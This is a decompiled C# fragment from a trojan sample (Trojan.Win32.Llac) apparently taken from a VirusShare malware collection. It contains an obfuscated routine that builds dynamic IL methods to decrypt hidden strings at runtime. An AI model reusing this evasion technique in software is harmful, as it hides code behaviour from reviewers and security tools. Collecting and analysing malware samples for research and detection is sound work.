// Decompiled with JetBrains decompiler // Type: . // Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null // MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe using \u0001; using System; using System.Reflection; using System.Reflection.Emit; using System.Runtime.InteropServices; namespace \u0001 { internal static class \u0002 { public static void \u0002([In] Type obj0) { int index1; FieldInfo[] fields; do { fields = obj0.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); index1 = 0; } while (false); for (; index1 < fields.Length; ++index1) { FieldInfo fieldInfo = fields[index1]; label_4: try { while ((object) fieldInfo.FieldType == (object) typeof (\u0001.\u0001)) { DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1] { typeof (int) }, obj0, true); ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); ilGenerator.Emit(OpCodes.Ldarg_0); MethodInfo[] methods = typeof (\u0003).GetMethods(BindingFlags.Static | BindingFlags.Public); int index2 = 0; while (true) { int num1 = index2; int num2; while (true) { int num3 = methods.Length; int num4; while (true) { num4 = num3; if (false) num3 = num4; else break; } MethodInfo meth; if (num1 < num4) meth = methods[index2]; else goto label_18; label_7: if ((object) meth.ReturnType == (object) typeof (string)) { if (true) { ilGenerator.Emit(OpCodes.Ldc_I4, fieldInfo.MetadataToken & 16777215); ilGenerator.Emit(OpCodes.Sub); ilGenerator.Emit(OpCodes.Call, meth); } else goto label_4; } else { int num5 = index2; while (true) { num2 = num5 + 1; if (true) { if (false) num5 = num2; else goto label_13; } else break; } num1 = num2; continue; } label_18: ilGenerator.Emit(OpCodes.Ret); fieldInfo.SetValue((object) null, (object) dynamicMethod.CreateDelegate(typeof (\u0001.\u0001))); if (false) goto label_7; else goto label_19; } label_13: index2 = num2; } label_19: return; } } catch { } } } } }